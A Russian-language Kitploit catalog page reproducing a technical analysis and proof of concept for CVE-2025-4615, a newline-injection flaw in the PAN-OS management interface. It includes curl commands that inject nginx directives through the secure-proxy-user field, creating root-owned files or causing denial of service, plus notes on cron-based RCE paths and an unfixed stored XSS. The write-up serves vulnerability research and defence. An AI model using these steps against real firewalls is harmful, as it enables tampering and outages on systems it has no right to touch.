Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
cve-2025-4615 — cve-2025-4615 poc и глубокое погружение | Kitploit
Инструменты/GitHubGitHub/sh00bx/cve-2025-4615
Анализ уязвимостейАнализ КодаЭксплуатацияЭксплуатация веб-приложенийАудит конфигурацииТестирование на Проникновение
GitHubsh00bx/cve-2025-4615

cve-2025-4615

cve-2025-4615 poc и глубокое погружение

Репозиторий
35 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2025-4615 — Технический анализ и подтверждение концепции

Уязвимость: Неправильная нейтрализация входных данных в веб-интерфейсе управления PAN-OS
Уведомление вендора: https://security.paloaltonetworks.com/CVE-2025-4615
CVSS 4.0: 6.9 (СРЕДНИЙ) — Integrity: HIGH, Availability: HIGH
CWE: CWE-83 (Неправильная нейтрализация скриптов в атрибутах веб-страницы)
CAPEC: CAPEC-165 (Манипуляция файлами)
Автор: Visa Inc.
Дата анализа: 2026-03-26


1. Краткий обзор

CVE-2025-4615 — это уязвимость внедрения символа новой строки в поле конфигурации secure-proxy-user в PAN-OS от Palo Alto Networks. Аутентифицированный администратор может внедрить символы новой строки (\n) в имя пользователя прокси через XML API или веб-интерфейс. При фиксации изменений (commit) это значение записывается без санитизации в /etc/nginx/nginx.conf, что приводит к выходу за пределы строки комментария и внедрению произвольных директив nginx.

Воздействие:

  • Создание/запись произвольного файла от имени root через внедрённую директиву
access_log
  • Отказ в обслуживании (DoS) — недопустимые директивы препятствуют перезагрузке nginx, что приводит к недоступности интерфейса управления
  • Повреждение конфигурации в нескольких системных конфигурационных файлах
  • Примечание: Исправление вендора (удаление символов новой строки) является неполным — то же поле остаётся уязвимым для межсайтового скриптинга (XSS) с сохранением, поскольку не применяется ни кодирование вывода, ни разрешённый список символов.


    2. Анализ первопричины

    2.1 Точка внедрения

    Поле secure-proxy-user определено в схеме PAN-OS (schema.xml) как обычная строка без какой-либо санитизации ввода:

    root@kitploit:~
    <element name="secure-proxy-user" optional="yes" type="string"
             help-string="Secure Proxy user name to use"/>
    

    Примечание: для secure-proxy-server существует ограничение по регулярному выражению (regex="^([0-9a-zA-Z.:/_-])+$"), а для secure-proxy-user нет. Имеется ограничение длины в 31 символ, но ограничения на символы отсутствуют.

    2.2 Уязвимый конфигурационный писатель

    При фиксации изменений PAN-OS перегенерирует /etc/nginx/nginx.conf из шаблона (/etc/nginx/nginx.conf.tmpl). Шаблон содержит:

    root@kitploit:~
    #pan_proxy_comment %s
    

    Заполнитель %s заполняется функцией библиотеки libpanmp_mp.so, которая объединяет сервер прокси, имя пользователя и зашифрованный пароль в единую строку. В уязвимой версии символы новой строки в имени пользователя передаются без изменений.

    2.3 Результирующее повреждение nginx.conf

    Когда secure-proxy-user содержит a\naccess_log /tmp/pwn3;\n#, сгенерированный nginx.conf становится:

    root@kitploit:~
      #pan_proxy_comment 8.8.8.9 a        — Комментарий (безвреден)
    access_log /tmp/pwn3;                  — ВНЕДРЁННАЯ ДИРЕКТИВА (выполняется nginx!)
    # -AQ==encrypted_password==            — Пароль закомментирован внедрённым символом #
    

    Строка 1 — комментарий. Строка 2 — допустимая директива nginx на уровне блока http. Строка 3 нейтрализована символом # атакующего.

    2.4 Почему это опасно

    Главный процесс nginx работает от имени root. Директива access_log заставляет nginx открыть/создать целевой файл от имени root. Это позволяет:

    1. Создавать произвольные файлы в любом месте файловой системы
    2. Записывать произвольные файлы (содержимое журнала доступа HTTP добавляется)
    3. DoS при внедрении недопустимой директивы (nginx отказывается перезагружаться)

    3. Исправление (и его ограничения)

    В исправленной версии (11.1.13) конфигурационный писатель удаляет символы новой строки из имени пользователя прокси перед записью в nginx.conf. То же вредоносное значение даёт:

    root@kitploit:~
      #pan_proxy_comment 8.8.8.9 aaccess_log /tmp/pwn3;# -AQ==encrypted_password==
    

    Всё остаётся на одной строке, безопасно внутри комментария #.

    Однако это исправление неполное. Оно решает только проблему внедрения символов новой строки. Поле secure-proxy-user по-прежнему принимает произвольные символы (включая ", <, >) без кодирования вывода, оставляя широко открытым вектор XSS с сохранением. См. unit-43-xss.


    4. Подтверждение концепции

    Предварительные требования

    • Аутентифицированный доступ администратора к управлению PAN-OS (API или веб-интерфейс)
    • Настроенный secure-proxy-server (необходим для появления комментария прокси)

    Шаг 1: Получение ключа API

    root@kitploit:~
    curl -sk "https://<PANOS_IP>/api/?type=keygen&user=admin&password=<PASSWORD>"
    

    Шаг 2: Настройка прокси-сервера (если не задан)

    root@kitploit:~
    curl -sk -X POST "https://<PANOS_IP>/api/" \
      --data-urlencode "type=config" \
      --data-urlencode "action=set" \
      --data-urlencode "key=<APIKEY>" \
      --data-urlencode "xpath=/config/devices/entry[@name='localhost.localdomain']/deviceconfig/system" \
      --data-urlencode "element=<secure-proxy-server>8.8.8.9</secure-proxy-server>"
    

    Шаг 3: Внедрение вредоносного имени пользователя прокси

    root@kitploit:~
    # Полезная нагрузка: "a\naccess_log /tmp/pwn3;\n#"
    # Всего: 26 символов (в пределах ограничения в 31 символ)
    # Внедряет: access_log /tmp/pwn3; — создаёт /tmp/pwn3 от root
    
    curl -sk -X POST "https://<PANOS_IP>/api/" \
      --data-urlencode "type=config" \
      --data-urlencode "action=set" \
      --data-urlencode "key=<APIKEY>" \
      --data-urlencode "xpath=/config/devices/entry[@name='localhost.localdomain']/deviceconfig/system" \
      --data-urlencode 'element=<secure-proxy-user>a
    access_log /tmp/pwn3;
    #</secure-proxy-user>'
    

    Шаг 4: Фиксация конфигурации

    root@kitploit:~
    curl -sk "https://<PANOS_IP>/api/?type=commit&cmd=<commit><force></force></commit>&key=<APIKEY>"
    

    Шаг 5: Проверка

    После завершения фиксации (~30 с):

    • /tmp/pwn3 создаётся с правами root
    • nginx -t -c /etc/nginx/nginx.conf сообщает: syntax is ok
    • nginx успешно перезагружается с внедрённой директивой

    5. Анализ распространения

    Несанитизированное значение secure-proxy-user распространяется на несколько файлов:

    ФайлВоздействие
    /etc/nginx/nginx.confКритический — внедрение директив nginx
    /opt/pancfg/tmp/.tdb_conf.xmlКонфигурация БД шаблонов (внедрение XML)
    /opt/pancfg/mgmt/audit/cfg-audit.xml,vПовреждение журнала аудита
    /opt/pancfg/mgmt/replaydb/replay.dbПовреждение базы данных воспроизведения
    Конфигурации демонов, генерируемые XSL (authd, cord, useridd и др.)Значение XML сохраняется с символами новой строки

    Писатели curlrc (/root/.curlrc) и wgetrc (/root/.wgetrc) удаляют символы новой строки даже в уязвимой версии. Писатель nginx.conf был единственным путём, где санитизация не выполнялась.


    6. Оценка выполнения произвольного кода (RCE)

    Обширное тестирование 11 векторов атак подтвердило, что автономное получение RCE на уровне ОС только через CVE-2025-4615 невозможно на PAN-OS 11.1.6-h7 с nginx 1.20.1. Три основных препятствия:

    1. Экранирование \x0A в nginx — предотвращает прямое внедрение символа новой строки в файлы журнала, блокируя внедрение в cron, несмотря на толерантность vixie-cron к мусорным строкам (подтверждено в лаборатории: cron выполняет допустимые строки, окружённые мусором)
    2. Ограничение в 31 символ — не позволяет объединить log_format + access_log для контроля содержимого записываемых файлов
    3. Удаление символов новой строки в curlrc/wgetrc — перекрывает вторичный канал записи в файл

    Фраза "выполнение произвольных команд" в уведомлении, скорее всего, относится к произвольным директивам nginx, а не к выполнению команд на уровне ОС. Это согласуется с CVSS VC:N (отсутствие воздействия на конфиденциальность) и характером исправления.

    Если бы хотя бы одно из трёх препятствий отсутствовало, RCE было бы тривиально достижимо через внедрение в cron.


    Анализ выполнен в изолированной лабораторной среде с PAN-OS 11.1.6-h7 (уязвимая) и PAN-OS 11.1.13 (исправленная).

    Скачать инструмент